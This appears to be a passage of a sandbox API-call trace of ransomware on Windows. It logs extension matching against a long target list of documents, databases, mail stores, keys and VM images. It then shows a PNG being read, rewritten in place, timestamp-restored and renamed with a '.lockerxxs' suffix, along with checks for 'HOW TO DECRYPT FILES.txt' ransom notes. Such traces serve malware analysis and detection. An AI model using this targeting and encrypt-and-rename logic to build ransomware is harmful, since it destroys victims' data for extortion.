PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\lSYtWwgaMY4M6.png", pszSpec="*.fdb") returned 0 [0091.164] lstrlenA (lpString="*.fdb") returned 5 [0091.164] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\lSYtWwgaMY4M6.png", pszSpec="*.wab") returned 0 [0091.164] lstrlenA (lpString="*.wab") returned 5 [0091.164] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\lSYtWwgaMY4M6.png", pszSpec="*.dat") returned 0 [0091.164] lstrlenA (lpString="*.dat") returned 5 [0091.164] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\lSYtWwgaMY4M6.png", pszSpec="*.txt") returned 0 [0091.164] lstrlenA (lpString="*.txt") returned 5 [0091.164] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\lSYtWwgaMY4M6.png", pszSpec="*.jpeg") returned 0 [0091.164] lstrlenA (lpString="*.jpeg") returned 6 [0091.164] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\lSYtWwgaMY4M6.png", pszSpec="*.jpg") returned 0 [0091.164] lstrlenA (lpString="*.jpg") returned 5 [0091.165] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\lSYtWwgaMY4M6.png", pszSpec="*.png") returned 1 [0091.165] lstrlenA (lpString="*.png") returned 5 [0091.165] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\lSYtWwgaMY4M6.png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\lSYtWwgaMY4M6.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\lSYtWwgaMY4M6.png" [0091.165] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\lSYtWwgaMY4M6.png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\lSYtWwgaMY4M6.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\lSYtWwgaMY4M6.png" [0091.165] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\lSYtWwgaMY4M6.png", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\lSYtWwgaMY4M6.png.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\lSYtWwgaMY4M6.png." [0091.165] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\lSYtWwgaMY4M6.png.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\lSYtWwgaMY4M6.png.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\lSYtWwgaMY4M6.png.lockerxxs" [0091.165] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\lSYtWwgaMY4M6.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ty3onra9ivt2rvo\\lsytwwgamy4m6.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0091.165] GetFileSize (in: hFile=0x8c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x14bce [0091.165] GetFileTime (in: hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xfe4d7cd0, dwHighDateTime=0x1d5e69e), lpLastAccessTime=0x407536*(dwLowDateTime=0x7dbe0120, dwHighDateTime=0x1d5e7a2), lpLastWriteTime=0x40753e*(dwLowDateTime=0x7dbe0120, dwHighDateTime=0x1d5e7a2)) returned 1 [0091.166] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0091.166] ReadFile (in: hFile=0x8c, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x14ba8, lpOverlapped=0x0) returned 1 [0091.167] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\lSYtWwgaMY4M6.png") returned="lSYtWwgaMY4M6.png" [0091.168] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0091.168] WriteFile (in: hFile=0x8c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x14ba8, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x14ba8, lpOverlapped=0x0) returned 1 [0091.168] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0091.168] CloseHandle (hObject=0x8c) returned 1 [0091.168] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\lSYtWwgaMY4M6.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ty3onra9ivt2rvo\\lsytwwgamy4m6.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\lSYtWwgaMY4M6.png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ty3onra9ivt2rvo\\lsytwwgamy4m6.png.lockerxxs")) returned 1 [0091.170] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8230e510, ftCreationTime.dwHighDateTime=0x1d5e775, ftLastAccessTime.dwLowDateTime=0x7162b8d0, ftLastAccessTime.dwHighDateTime=0x1d5ddfc, ftLastWriteTime.dwLowDateTime=0x7162b8d0, ftLastWriteTime.dwHighDateTime=0x1d5ddfc, nFileSizeHigh=0x0, nFileSizeLow=0x14d9, dwReserved0=0x2800032b, dwReserved1=0x4e00c4, cFileName="s2cMaYbiwMQciCacEryd.gif", cAlternateFileName="S2CMAY~1.GIF")) returned 1 [0091.170] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0091.170] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="s2cMaYbiwMQciCacEryd.gif") returned -1 [0091.170] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="s2cMaYbiwMQciCacEryd.gif") returned -1 [0091.170] lstrcmpiA (lpString1="", lpString2="s2cMaYbiwMQciCacEryd.gif") returned -1 [0091.170] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\lSYtWwgaMY4M6.png") returned="lSYtWwgaMY4M6.png" [0091.170] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\" [0091.170] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\") returned="" [0091.170] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\HOW TO DECRYPT FILES.txt" [0091.170] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ty3onra9ivt2rvo\\how to decrypt files.txt")) returned 0x20 [0091.170] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\", lpString2="s2cMaYbiwMQciCacEryd.gif" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\s2cMaYbiwMQciCacEryd.gif") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\s2cMaYbiwMQciCacEryd.gif" [0091.171] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\s2cMaYbiwMQciCacEryd.gif", pszSpec="*.ems") returned 0 [0091.171] lstrlenA (lpString="*.ems") returned 5 [0091.171] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\s2cMaYbiwMQciCacEryd.gif", pszSpec="*.db") returned 0 [0091.171] lstrlenA (lpString="*.db") returned 4 [0091.171] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\s2cMaYbiwMQciCacEryd.gif", pszSpec="*.dbf") returned 0 [0091.171] lstrlenA (lpString="*.dbf") returned 5 [0091.171] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\s2cMaYbiwMQciCacEryd.gif", pszSpec="*.myox") returned 0 [0091.171] lstrlenA (lpString="*.myox") returned 6 [0091.171] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\s2cMaYbiwMQciCacEryd.gif", pszSpec="*.myo") returned 0 [0091.171] lstrlenA (lpString="*.myo") returned 5 [0091.171] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\s2cMaYbiwMQciCacEryd.gif", pszSpec="*.qbw") returned 0 [0091.171] lstrlenA (lpString="*.qbw") returned 5 [0091.171] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\s2cMaYbiwMQciCacEryd.gif", pszSpec="*.qbb") returned 0 [0091.171] lstrlenA (lpString="*.qbb") returned 5 [0091.171] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\s2cMaYbiwMQciCacEryd.gif", pszSpec="*.qbm") returned 0 [0091.171] lstrlenA (lpString="*.qbm") returned 5 [0091.171] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\s2cMaYbiwMQciCacEryd.gif", pszSpec="*.qbo") returned 0 [0091.171] lstrlenA (lpString="*.qbo") returned 5 [0091.171] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\s2cMaYbiwMQciCacEryd.gif", pszSpec="*.qbx") returned 0 [0091.171] lstrlenA (lpString="*.qbx") returned 5 [0091.171] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\s2cMaYbiwMQciCacEryd.gif", pszSpec="*.qba") returned 0 [0091.171] lstrlenA (lpString="*.qba") returned 5 [0091.171] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\s2cMaYbiwMQciCacEryd.gif", pszSpec="*.qby") returned 0 [0091.171] lstrlenA (lpString="*.qby") returned 5 [0091.171] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\s2cMaYbiwMQciCacEryd.gif", pszSpec="*.qbj") returned 0 [0091.172] lstrlenA (lpString="*.qbj") returned 5 [0091.172] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\s2cMaYbiwMQciCacEryd.gif", pszSpec="*.ofx") returned 0 [0091.172] lstrlenA (lpString="*.ofx") returned 5 [0091.172] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\s2cMaYbiwMQciCacEryd.gif", pszSpec="*.qif") returned 0 [0091.172] lstrlenA (lpString="*.qif") returned 5 [0091.172] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\s2cMaYbiwMQciCacEryd.gif", pszSpec="*.mye") returned 0 [0091.172] lstrlenA (lpString="*.mye") returned 5 [0091.172] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\s2cMaYbiwMQciCacEryd.gif", pszSpec="*.mbox") returned 0 [0091.172] lstrlenA (lpString="*.mbox") returned 6 [0091.172] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\s2cMaYbiwMQciCacEryd.gif", pszSpec="*.eml") returned 0 [0091.172] lstrlenA (lpString="*.eml") returned 5 [0091.172] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\s2cMaYbiwMQciCacEryd.gif", pszSpec="*.pst") returned 0 [0091.172] lstrlenA (lpString="*.pst") returned 5 [0091.172] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\s2cMaYbiwMQciCacEryd.gif", pszSpec="*.ost") returned 0 [0091.172] lstrlenA (lpString="*.ost") returned 5 [0091.172] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\s2cMaYbiwMQciCacEryd.gif", pszSpec="*.idx") returned 0 [0091.172] lstrlenA (lpString="*.idx") returned 5 [0091.172] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\s2cMaYbiwMQciCacEryd.gif", pszSpec="*.dbx") returned 0 [0091.172] lstrlenA (lpString="*.dbx") returned 5 [0091.172] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\s2cMaYbiwMQciCacEryd.gif", pszSpec="*.sql") returned 0 [0091.172] lstrlenA (lpString="*.sql") returned 5 [0091.172] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\s2cMaYbiwMQciCacEryd.gif", pszSpec="*.mdb") returned 0 [0091.172] lstrlenA (lpString="*.mdb") returned 5 [0091.172] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\s2cMaYbiwMQciCacEryd.gif", pszSpec="*.fdb") returned 0 [0091.172] lstrlenA (lpString="*.fdb") returned 5 [0091.172] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\s2cMaYbiwMQciCacEryd.gif", pszSpec="*.wab") returned 0 [0091.173] lstrlenA (lpString="*.wab") returned 5 [0091.173] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\s2cMaYbiwMQciCacEryd.gif", pszSpec="*.dat") returned 0 [0091.173] lstrlenA (lpString="*.dat") returned 5 [0091.173] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\s2cMaYbiwMQciCacEryd.gif", pszSpec="*.txt") returned 0 [0091.173] lstrlenA (lpString="*.txt") returned 5 [0091.173] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\s2cMaYbiwMQciCacEryd.gif", pszSpec="*.jpeg") returned 0 [0091.173] lstrlenA (lpString="*.jpeg") returned 6 [0091.173] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\s2cMaYbiwMQciCacEryd.gif", pszSpec="*.jpg") returned 0 [0091.173] lstrlenA (lpString="*.jpg") returned 5 [0091.173] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\s2cMaYbiwMQciCacEryd.gif", pszSpec="*.png") returned 0 [0091.173] lstrlenA (lpString="*.png") returned 5 [0091.173] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\s2cMaYbiwMQciCacEryd.gif", pszSpec="*.php") returned 0 [0091.173] lstrlenA (lpString="*.php") returned 5 [0091.173] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\s2cMaYbiwMQciCacEryd.gif", pszSpec="*.cs") returned 0 [0091.173] lstrlenA (lpString="*.cs") returned 4 [0091.173] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\s2cMaYbiwMQciCacEryd.gif", pszSpec="*.cpp") returned 0 [0091.173] lstrlenA (lpString="*.cpp") returned 5 [0091.173] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\s2cMaYbiwMQciCacEryd.gif", pszSpec="*.rar") returned 0 [0091.173] lstrlenA (lpString="*.rar") returned 5 [0091.173] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\s2cMaYbiwMQciCacEryd.gif", pszSpec="*.zip") returned 0 [0091.173] lstrlenA (lpString="*.zip") returned 5 [0091.173] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\s2cMaYbiwMQciCacEryd.gif", pszSpec="*.html") returned 0 [0091.173] lstrlenA (lpString="*.html") returned 6 [0091.173] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\s2cMaYbiwMQciCacEryd.gif", pszSpec="*.htm") returned 0 [0091.174] lstrlenA (lpString="*.htm") returned 5 [0091.174] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\s2cMaYbiwMQciCacEryd.gif", pszSpec="*.xlsx") returned 0 [0091.174] lstrlenA (lpString="*.xlsx") returned 6 [0091.174] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\s2cMaYbiwMQciCacEryd.gif", pszSpec="*.xls") returned 0 [0091.174] lstrlenA (lpString="*.xls") returned 5 [0091.174] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\s2cMaYbiwMQciCacEryd.gif", pszSpec="*.mp4") returned 0 [0091.174] lstrlenA (lpString="*.mp4") returned 5 [0091.174] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\s2cMaYbiwMQciCacEryd.gif", pszSpec="*.ppt") returned 0 [0091.174] lstrlenA (lpString="*.ppt") returned 5 [0091.174] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\s2cMaYbiwMQciCacEryd.gif", pszSpec="*.pptx") returned 0 [0091.174] lstrlenA (lpString="*.pptx") returned 6 [0091.174] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\s2cMaYbiwMQciCacEryd.gif", pszSpec="*.doc") returned 0 [0091.174] lstrlenA (lpString="*.doc") returned 5 [0091.174] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\s2cMaYbiwMQciCacEryd.gif", pszSpec="*.dot") returned 0 [0091.174] lstrlenA (lpString="*.dot") returned 5 [0091.174] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\s2cMaYbiwMQciCacEryd.gif", pszSpec="*.docx") returned 0 [0091.174] lstrlenA (lpString="*.docx") returned 6 [0091.174] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\s2cMaYbiwMQciCacEryd.gif", pszSpec="*.7z") returned 0 [0091.174] lstrlenA (lpString="*.7z") returned 4 [0091.174] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\s2cMaYbiwMQciCacEryd.gif", pszSpec="*.tar") returned 0 [0091.174] lstrlenA (lpString="*.tar") returned 5 [0091.174] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\s2cMaYbiwMQciCacEryd.gif", pszSpec="*.bz2") returned 0 [0091.174] lstrlenA (lpString="*.bz2") returned 5 [0091.174] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\s2cMaYbiwMQciCacEryd.gif", pszSpec="*.gz") returned 0 [0091.174] lstrlenA (lpString="*.gz") returned 4 [0091.174] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\s2cMaYbiwMQciCacEryd.gif", pszSpec="*.mkv") returned 0 [0091.174] lstrlenA (lpString="*.mkv") returned 5 [0091.174] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\s2cMaYbiwMQciCacEryd.gif", pszSpec="*.eml") returned 0 [0091.175] lstrlenA (lpString="*.eml") returned 5 [0091.175] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\s2cMaYbiwMQciCacEryd.gif", pszSpec="*.msg") returned 0 [0091.175] lstrlenA (lpString="*.msg") returned 5 [0091.175] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\s2cMaYbiwMQciCacEryd.gif", pszSpec="*.edb") returned 0 [0091.175] lstrlenA (lpString="*.edb") returned 5 [0091.175] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\s2cMaYbiwMQciCacEryd.gif", pszSpec="*.accdb") returned 0 [0091.175] lstrlenA (lpString="*.accdb") returned 7 [0091.175] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\s2cMaYbiwMQciCacEryd.gif", pszSpec="*.odb") returned 0 [0091.175] lstrlenA (lpString="*.odb") returned 5 [0091.175] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\s2cMaYbiwMQciCacEryd.gif", pszSpec="*.java") returned 0 [0091.175] lstrlenA (lpString="*.java") returned 6 [0091.175] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\s2cMaYbiwMQciCacEryd.gif", pszSpec="*.asm") returned 0 [0091.175] lstrlenA (lpString="*.asm") returned 5 [0091.175] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\s2cMaYbiwMQciCacEryd.gif", pszSpec="*.pfx") returned 0 [0091.175] lstrlenA (lpString="*.pfx") returned 5 [0091.175] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\s2cMaYbiwMQciCacEryd.gif", pszSpec="*.pem") returned 0 [0091.175] lstrlenA (lpString="*.pem") returned 5 [0091.175] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\s2cMaYbiwMQciCacEryd.gif", pszSpec="*.p12") returned 0 [0091.175] lstrlenA (lpString="*.p12") returned 5 [0091.175] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\s2cMaYbiwMQciCacEryd.gif", pszSpec="*.gpg") returned 0 [0091.175] lstrlenA (lpString="*.gpg") returned 5 [0091.175] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\s2cMaYbiwMQciCacEryd.gif", pszSpec="*.vsd") returned 0 [0091.175] lstrlenA (lpString="*.vsd") returned 5 [0091.175] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\s2cMaYbiwMQciCacEryd.gif", pszSpec="*.odg") returned 0 [0091.175] lstrlenA (lpString="*.odg") returned 5 [0091.175] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\s2cMaYbiwMQciCacEryd.gif", pszSpec="*.raw") returned 0 [0091.175] lstrlenA (lpString="*.raw") returned 5 [0091.175] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\s2cMaYbiwMQciCacEryd.gif", pszSpec="*.nef") returned 0 [0091.175] lstrlenA (lpString="*.nef") returned 5 [0091.175] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\s2cMaYbiwMQciCacEryd.gif", pszSpec="*.svg") returned 0 [0091.175] lstrlenA (lpString="*.svg") returned 5 [0091.175] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\s2cMaYbiwMQciCacEryd.gif", pszSpec="*.psd") returned 0 [0091.176] lstrlenA (lpString="*.psd") returned 5 [0091.176] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\s2cMaYbiwMQciCacEryd.gif", pszSpec="*.vmx") returned 0 [0091.176] lstrlenA (lpString="*.vmx") returned 5 [0091.176] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\s2cMaYbiwMQciCacEryd.gif", pszSpec="*.vmdk") returned 0 [0091.176] lstrlenA (lpString="*.vmdk") returned 6 [0091.176] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\s2cMaYbiwMQciCacEryd.gif", pszSpec="*.vdi") returned 0 [0091.176] lstrlenA (lpString="*.vdi") returned 5 [0091.176] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\s2cMaYbiwMQciCacEryd.gif", pszSpec="*.lay6") returned 0 [0091.176] lstrlenA (lpString="*.lay6") returned 6 [0091.176] PathMatchSpecA 